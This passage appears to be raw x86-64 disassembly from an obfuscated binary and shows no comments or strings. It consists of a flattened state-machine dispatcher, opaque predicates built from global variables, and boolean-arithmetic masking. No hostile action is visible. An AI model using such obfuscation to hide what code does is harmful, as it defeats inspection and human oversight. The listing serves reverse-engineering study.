xor ecx, 0xf418f44b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x989f8d5e
and ebp, 0x676072a1
or ebp, edi
or ecx, ebx
and ebx, 0x989f8d5e
and edx, 0x676072a1
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf6a3bf5a
and ecx, 0x95c40a5
or ecx, edx
mov edx, ecx
xor edx, 0x444005
xor ecx, 0xa401810a
and ecx, 0xad1981aa
and edx, 0x52e67e55
or edx, ecx
mov ecx, edx
xor ecx, 0xa9018122
xor edx, 0x10e26204
and edx, 0x14fa628c
and ecx, 0xeb059d73
or ecx, edx
xor ecx, 0xeb059d73
sete cl
setne r8b
cmp r9d, 0xa
setl al
cmp r9d, 9
setg r9b
mov edx, eax
and al, r8b
and r8b, r9b
and dl, cl
or dl, r8b
mov ebx, edx
xor bl, r9b
and bl, dl
and cl, r9b
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
mov eax, edx
and al, bl
xor bl, 1
xor dl, 1
and dl, bl
or dl, al
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xe0fdaae6
mov ebp, 0xeed305c1
cmovne ecx, ebp
test dl, 1
mov r15d, 0xeed305c1
cmove ecx, ebp
test al, 1
mov eax, 0xe0fdaae6
jmp 0x14015cf0e
cmp ecx, 0xb143a7ee
je 0x14015cb01
cmp ecx, 0xb15b65a9
jne 0x14014f740
mov eax, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea ebp, [rax - 1]
imul ebp, eax
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0xca9cc496
mov edx, ebp
and edx, 0x35633b68
or edx, eax
xor edx, 0x35633b68
mov eax, ebp
xor eax, 0xfffffffe
and eax, ebp
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, eax
not edx
mov edi, eax
and edi, 0x7b2727dc
and edx, 0x84d8d823
or edx, edi
or eax, ebp
and ebp, 0x7b2727dc
and ebx, 0x84d8d823
or ebx, ebp
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
not edx
and edx, 0x1a056996
and eax, 0xe5fa9669
or eax, edx
xor eax, 0xe5fa9669
setne r9b
sete r8b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg dl
xor r9b, r8b
and r9b, r8b
and dl, al
mov ebx, r9d
xor bl, 1
mov ecx, ebx
and cl, r9b
xor dl, 1
mov r10d, eax
xor r10b, dl
or dl, al
xor dl, 1
or dl, r10b
xor bl, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov edx, eax
and dl, r8b
xor al, r8b
or dl, al
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xd4defe55
mov ebp, 0x84410dba
cmovne edx, ebp
test al, 1
mov ecx, edx
cmovne ecx, ebp
test bl, 1
jmp 0x14015d4cb
cmp ecx, 0xc33b50b7
je 0x14015cbd3
cmp ecx, 0xc404a20c
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xb1355213
mov ecx, ebx
and ecx, 0x4ecaadec
or ecx, ebp
mov ebp, ecx
xor ebp, 0x400520
xor ecx, 0x80245213
mov edx, ebx
xor edx, 0xc8ec5733
and edx, ebx
or ecx, 0x3713a8cc
mov esi, edx
not esi
mov eax, ecx
and eax, 0xdd8b104a
and ebp, 0x644731
or ebp, eax
or ecx, esi
and esi, 0xdd8b104a
and edx, 0x2274efb5
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x3713a8cd
and ecx, 0xc8ec5732
or ecx, eax
mov eax, ecx
not eax
and eax, 0xcbcc2f50
and ecx, 0x3433d0af
or ecx, eax
mov eax, ecx
xor eax, 0x3d02d
and edi, 0xf40e08d6
and ebx, 0xbf1f729
or ebx, edi
mov edx, ebx
xor edx, 0x2c1f229
xor ecx, 0xcbcc2f50
xor ebx, 0xf40e08d6
mov ebp, ecx
and ebp, 0x7d340dc2
and eax, 0x82cbf23d
or eax, ebp
or ecx, ebx
and ebx, 0x7d340dc2
and edx, 0x82cbf23d
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
xor r9b, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, r9b
mov r8d, edx
xor r8b, 1
and al, cl
or bl, cl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r8b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xcbd3ff0a
mov ebp, 0xdf0fd338
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xcbd3ff0a
jmp 0x14015d27f
cmp ecx, 0xfc742aee
je 0x14015cd56
cmp ecx, 0xfc98658a
jne 0x14014f740
mov ecx, 0x91c355eb
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x3af80a9c
je 0x14015cf22
cmp ecx, 0x3b059f1c
jne 0x14014f740
mov ecx, 0xcab6162a
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xe16a39da
je 0x14015cf38
cmp ecx, 0xe333d1ff
jne 0x14014f740
mov ecx, 0xc8d0d1ef
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x1c2a68e6
je 0x14015cf53
cmp ecx, 0x1e1492c3
jne 0x14014f740
mov ecx, 0xaaccf4a
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x58730c62
je 0x14015cf69
cmp ecx, 0x588235f5
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
mov ebx, edx
xor ebx, 0x87b6be9e
and ebx, edx
not edx
and edx, 0x11c1c70c
and ebp, 0xee3e38f3
or ebp, edx
mov ecx, ebp
xor ecx, 0xee3e38f3
xor ebp, 0x11c1c70c
mov edx, ebp
or edx, 0x78494161
mov edi, edx
not edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0x7f8efa7c
and edi, 0x80300482
or edi, eax
or edx, esi
and esi, 0x7f8efa7c
and ebx, 0x80710583
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x78494160
and edx, 0x87b6be9f
or edx, eax
and ebp, 0x1f921d57
mov eax, ecx
and eax, 0xe06de2a8
or eax, ebp
xor eax, 0x1f921d56
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x8c65d0ca
and ecx, 0x739a2f35
or ecx, eax
xor ecx, 0x739a2f35
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x3870c563
and eax, ecx
and ecx, 0xc78f3a9c
or ecx, edx
xor ecx, 0xc78f3a9c
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
sete bl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov r8d, ecx
and bl, cl
and cl, r9b
xor r8b, r9b
or r8b, cl
mov ecx, r8d
xor cl, 1
and dl, r9b
or bl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor dl, 1
mov r9d, ebx
xor r9b, dl
or dl, bl
xor dl, 1
or dl, r9b
and cl, dl
xor dl, 1
and dl, r8b
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ebx, eax
xor bl, dl
test al, al
mov ecx, 0xdd53f580
mov eax, 0x43ce004a
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, 1
mov eax, 0xdd53f580
jmp 0x14015cf0e
cmp ecx, 0xbce09d12
je 0x14015d002
cmp ecx, 0xbe1d3eac
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
and edx, 0x767e5678
and ecx, 0x8981a987
or ecx, edx
mov edx, ecx
xor edx, 0x8800a087
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x33e50b78
and ebx, 0xcc1af487
or ebx, ebp
xor ecx, 0x32640278
and ecx, 0x33e50b78
and edx, 0xcc1af487
or edx, ecx
xor edx, ebx
not edx
or edx, edi
cmp edx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor r8b, al
xor al, dl
xor al, 1
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor al, r8b
mov edx, eax
not dl
and dl, r8b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x3d4297cc
mov eax, 0x588235f5
cmovne ecx, eax
test dl, dl
mov edx, 0x3d4297cc
cmove ecx, edx
test bl, 1
jmp 0x14015d285
cmp ecx, 0x88282b50
je 0x14015d183
cmp ecx, 0x8897e487
jne 0x14014f740
mov ecx, 0xea92269
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xd786d91a
je 0x14015d199
cmp ecx, 0xd917d235
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xbe23910a
and edx, ecx
and ecx, 0x41dc6ef5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x41c40e60
xor ecx, 0xbe23910a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x619719f
and ebp, 0xf9e68e60
or ebp, edi
or ecx, ebx
and ebx, 0x619719f
and edx, 0xf9e68e60
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
xor edx, 0x96700bf0
and edx, esi
mov edi, esi
or edi, 0x96700bf0
mov ebp, edi
not ebp
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xfa508b0e
and edx, 0x5af74f1
or edx, eax
or ebx, edi
and edi, 0xfa508b0e
and ebp, 0x18f7401
or ebp, edi
xor ebp, edx
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0x698ff40e
and ebx, 0x96700bf1
or ebx, eax
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
mov eax, ecx
not eax
and eax, 0x6ec67fe0
and ecx, 0x9139801f
or ecx, eax
mov eax, ecx
xor eax, 0x81118010
xor ecx, 0x6ec67fe0
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x18a8662f
and ebx, 0xe75799d0
or ebx, ebp
or edx, ecx
and ecx, 0x18a8662f
and eax, 0xe75799d0
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xc3c0377d
and edx, 0x3c3fc882
or edx, eax
mov eax, edx
xor eax, 0x2c3d4802
xor edx, 0xc2002115
and edx, 0xd202a195
and eax, 0x2dfd5e6a
or eax, edx
xor eax, 0xd202a195
sete cl
setne al
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov ebx, eax
and bl, r8b
mov edx, r9d
and dl, cl
or dl, bl
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
or al, r9b
xor al, 1
xor cl, r9b
and cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
mov ebx, r8d
and bl, dl
xor bl, 1
mov r9d, ebx
xor r9b, dl
or bl, dl
xor bl, 1
or bl, r9b
xor bl, cl
xor al, 1
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xa00b7930
mov edx, 0x9bc9803d
cmovne eax, edx
test cl, 1
mov ecx, 0xa00b7930
jmp 0x14015a099
cmp ecx, 0xc881eb4
je 0x14015d299
cmp ecx, 0xc9948b5
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x11a02048
mov ecx, ebx
and ecx, 0x6a139500
or ecx, edx
xor ecx, 0x6a139500
mov edx, ebx
and edx, 0x844c4ab7
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x245d1797
and edx, 0xdba2e868
or edx, ecx
mov ecx, edx
xor ecx, 0x20000c20
and ebp, 0x357210fc
and ebx, 0xca8def03
or ebx, ebp
mov ebp, ebx
xor ebp, 0x4200ac00
xor edx, 0x5feea2de
mov edi, edx
and edi, 0x9cfd5353
and ecx, 0x6302acac
or ecx, edi
xor ebx, 0x14701050
and ebx, 0x9cfd5353
and ebp, 0x6302acac
or ebp, ebx
xor ebp, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ecx, r9d
xor cl, r8b
mov eax, ecx
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
xor dl, r9b
not dl
and dl, r9b
and cl, r8b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
xor cl, bl
mov eax, ecx
not al
and al, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xf95e065c
mov ebp, 0x45f0863d
cmovne ecx, ebp
test al, al
mov eax, 0xf95e065c
cmove ecx, eax
test dl, dl
jmp 0x14015d383
cmp ecx, 0x45f0863d
je 0x14015d2af
cmp ecx, 0x479e7774
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0x2631dae
mov ecx, ebx
and ecx, 0xfd9ce251
or ecx, edx
mov edx, ecx
xor edx, 0xa4840040
xor ecx, 0x410106
mov edi, esi
or edi, 0xa5c5034e
mov ebp, edi
not ebp
or ecx, 0x1a30dc91
and ecx, 0x1b71df97
and edx, 0xa4840048
or edx, ecx
and edi, 0x1b71df97
and ebp, 0x400a2020
or ebp, edi
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x5a3afcb0
and ebp, 0xa5c5034f
or ebp, ecx
not ebp
and esi, 0xac6648f7
and ebx, 0x5399b708
or ebx, esi
xor ebx, 0x5399b708
mov ecx, ebp
and ecx, ebx
xor ebx, ebp
or ebx, ecx
cmp ebx, 0xffffffff
sete dl
setne bl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, bl
xor al, 1
or al, r8b
mov r10d, eax
xor r10b, 1
or bl, r9b
xor bl, 1
or dl, r8b
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
xor cl, 1
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
and al, cl
xor cl, 1
and cl, r10b
or cl, al
mov eax, r10d
xor al, dl
or dl, r10b
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x3207272e
mov ebp, 0xeca0bc21
cmovne edx, ebp
test cl, 1
cmove edx, ebp
test al, 1
mov eax, 0x3207272e
jmp 0x14015b435
cmp ecx, 0xed7710cb
je 0x14015d397
cmp ecx, 0xeed305c1
jne 0x14014f740
mov ecx, 0xe0fdaae6
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x2cd0e451
je 0x14015d4df
cmp ecx, 0x2de25234
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov esi, edx
xor esi, 0xfffffffe
and esi, ecx
and edx, 0xef0e0aa0
and ecx, 0x10f1f55f
or ecx, edx
mov ebx, ecx
xor ebx, 0x305110
mov ebp, esi
not ebp
xor ecx, 0xef0e0aa1
mov edi, ebp
and edi, 0x1ac1a4ee
and esi, 0xe53e5b11
or esi, edi
or ebp, ecx
and ecx, 0x1ac1a4ee
and ebx, 0xe53e5b11
or ebx, ecx
xor ebx, esi
not ebp
or ebp, ebx
mov ecx, ebp
mov edx, ebp
xor edx, 0x80647434
and edx, ebp
not ebp
and ebp, 0xe56a6eb8
and ecx, 0x1a959147
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40000
xor ecx, 0x80606430
or ecx, 0x7f9b8bcb
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x58a31c9e
and ebp, 0x80446020
or ebp, edi
or ecx, ebx
and ebx, 0x58a31c9e
and edx, 0xa75ce361
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7f9b8bcb
and ecx, 0x80647434
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x116acf0c
and ecx, 0xee9530f3
or ecx, ebp
xor ecx, 0x116acf0c
xor edx, ecx
test edx, ecx
sete dl
setne cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or al, r8b
or cl, bl
or dl, r8b
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xc8d0d1ef
mov ebp, 0xe333d1ff
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xc8d0d1ef
jmp 0x14015cf0e
cmp ecx, 0x6e1ea29a
je 0x14015d6f8
cmp ecx, 0x71bfc93c
jne 0x14014f740
mov rax, qword [rsp + 0x38]
mov qword [0x1402650b0], rax
mov ecx, 0xae57c66a
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xcb5a2228
je 0x14015d87b
cmp ecx, 0xcbd3ff0a
jne 0x14014f740
mov ecx, 0x4c3f35f5
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x43d3085
je 0x14015da3a
cmp ecx, 0x4e1596c
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x8f26feb6
and eax, 0x70d90149
or eax, edx
mov edx, eax
not edx
and edx, 0x49572c42
and eax, 0xb6a8d3bd
or eax, edx
xor eax, 0xc671d2f5
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0x182cd600
and eax, 0xe7d329ff
or eax, edx
xor eax, 0xe7d329ff
sete al
setne dl
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl r9b
mov ecx, r9d
xor cl, dl
xor cl, 1
or cl, r8b
mov r10d, ecx
xor r10b, 1
and dl, r9b
and al, r8b
or al, dl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
and bl, r10b
mov edx, r8d
and dl, al
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
xor dl, bl
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x13a0efed
mov ebp, 0x13c22e0c
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x13a0efed
jmp 0x14014f72e
cmp ecx, 0x403f504c
je 0x14015da64
cmp ecx, 0x41455f92
jne 0x14014f740
mov ecx, 0x395eed3b
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xe64b69ad
je 0x14015da7a
cmp ecx, 0xe665b11d
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0xe0d4e9d6
mov ebp, ebx
and ebp, 0x1f2b1628
or ebp, ecx
xor ebp, 0x1f2b1628
mov ecx, ebx
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, ecx
and edi, 0xd76285e7
and ebp, 0x289d7a18
or ebp, edi
or ecx, ebx
and ebx, 0xd76285e7
and edx, 0x289d7a18
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfd276ed1
and ecx, 0x2d8912e
or ecx, edx
xor ecx, 0x2d8912e
setne bl
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and al, dl
and bl, cl
or bl, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor al, bl
xor al, 1
mov edx, ebx
xor dl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
not al
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x949edd3e
mov ebp, 0xc23d7fee
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x949edd3e
jmp 0x14015d27f
cmp ecx, 0x266d5561
je 0x14015da90
cmp ecx, 0x26714eec
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x12360ac0
mov edx, edi
and edx, 0xa1088009
or edx, ebp
xor edx, 0xa1088009
mov ebx, edi
and ebx, 0x4cc17536
or ebx, edx
mov edx, ebx
not edx
and edx, 0x4cc17537
and ebx, 0xb33e8ac8
or ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x476a41c7
and ebx, 0xb895be38
or ebx, ebp
and edi, 0x476a41c7
and ecx, 0xb895be38
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg r11b
mov ebx, r11d
and bl, dl
xor r11b, dl
or r11b, bl
mov r9d, r11d
xor r9b, 1
xor r8b, dl
mov ecx, r8d
xor cl, 1
mov ebx, r9d
and bl, r11b
mov edx, ecx
and dl, r8b
mov r10d, ebx
and r10b, r9b
xor bl, r9b
or bl, r10b
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
xor r8b, r11b
or cl, r9b
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xe4c9b313
mov ebp, 0x8c296f7c
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xe4c9b313
jmp 0x14015cf0e
cmp ecx, 0x635547e9
je 0x14015db55
cmp ecx, 0x64ae9c1f
jne 0x14014f740
mov ecx, 0x6aa0c3c2
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xf6ca6310
mov edx, ecx
and edx, 0x9359cef
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x262ef6c8
and edx, 0xd9d10937
or edx, ebx
mov ebx, edx
xor ebx, 0x2f1b6a26
and ebp, 0x8597afff
and ecx, 0x7a685000
or ecx, ebp
mov ebp, ecx
xor ebp, 0x7a685000
xor edx, 0xd0e495d9
and ebp, edx
xor ecx, 0x8597afff
and ecx, ebx
or ecx, ebp
xor edx, ecx
test edx, ecx
sete r8b
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, bl
and dl, al
xor dl, cl
xor dl, 1
and cl, al
or al, r8b
and bl, r8b
or bl, cl
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov r8d, edx
xor r8b, bl
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
xor al, dl
xor r8b, 1
or cl, dl
xor cl, 1
or cl, r8b
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x3e6a60e5
mov ebp, 0xf101e5ab
cmovne edx, ebp
test cl, 1
mov ecx, 0x3e6a60e5
cmovne ecx, edx
jmp 0x14015b654
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x8161ea2
mov ebx, edx
and ebx, 0x14e0c018
or ebx, ecx
xor ebx, 0x14e0c018
mov ecx, edx
xor ecx, 0x1cf6deba
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xe3092144
and ecx, 0x1cf6debb
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x504026ce
and ecx, 0xafbfd931
or ecx, ebx
xor ecx, 0xafbfd931
and ebp, 0xa329453f
and edx, 0x5cd6bac0
or edx, ebp
xor edx, 0x5cd6bac0
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r10b
mov ecx, r10d
xor cl, bl
and cl, r10b
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
xor al, r9b
mov ecx, ebx
xor cl, r9b
xor r8b, r10b
or bl, r9b
xor bl, 1
or bl, r8b
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and dl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xc2981874
mov edx, 0x6d0cf1b0
cmovne ecx, edx
test bl, 1
mov ebp, 0xc2981874
jmp 0x14015b651
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, edi
or edx, 0xb86a5fb2
mov ebx, edx
not ebx
mov ebp, edi
xor ebp, 0x4795a04d
and ebp, edi
mov esi, ebp
not esi
mov eax, edx
and eax, 0x7a626e6e
and ebx, 0x5958001
or ebx, eax
or edx, esi
and esi, 0x7a626e6e
and ebp, 0x859d9191
or ebp, esi
xor ebp, ebx
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x6d3ef2a2
and edx, 0x92c10d5d
or edx, eax
mov eax, edx
xor eax, 0x1140c00
xor edx, 0x2aab52ee
mov ebp, edx
and ebp, 0xfc41f333
and eax, 0x3be0ccc
or eax, ebp
and edi, 0xfc41f333
and ecx, 0x3be0ccc
or ecx, edi
xor ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl al
cmp r8d, 9
setg bl
and cl, bl
and al, r9b
or al, cl
mov edx, eax
xor dl, bl
and dl, al
xor bl, r9b
xor bl, dl
and dl, bl
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0xe4aea13f
mov ebp, 0xfc98658a
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
test al, al
mov eax, 0xe4aea13f
jmp 0x14015cf0e
mov rax, qword [rsp + 0x30]
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x442084
mov ecx, ebx
and ecx, 0x12008a42
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2000042
xor ecx, 0xedff75bd
mov edx, ebx
xor edx, 0x1244aac6
and edx, ebx
mov esi, edx
not esi
mov eax, ecx
and eax, 0x78179e0c
and ebp, 0x24020c2
or ebp, eax
or ecx, esi
and esi, 0x78179e0c
and edx, 0x87e861f3
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7417db9d
and ecx, 0x8be82462
or ecx, eax
mov eax, ecx
xor eax, 0x88a88821
xor ecx, 0x62410008
and ecx, 0x7345068c
and eax, 0x8cbaf973
or eax, ecx
xor eax, 0x8cbaf973
and edi, 0x4b59d92e
and ebx, 0xb4a626d1
or ebx, edi
xor ebx, 0xb4a626d1
mov ecx, eax
and ecx, ebx
xor ebx, eax
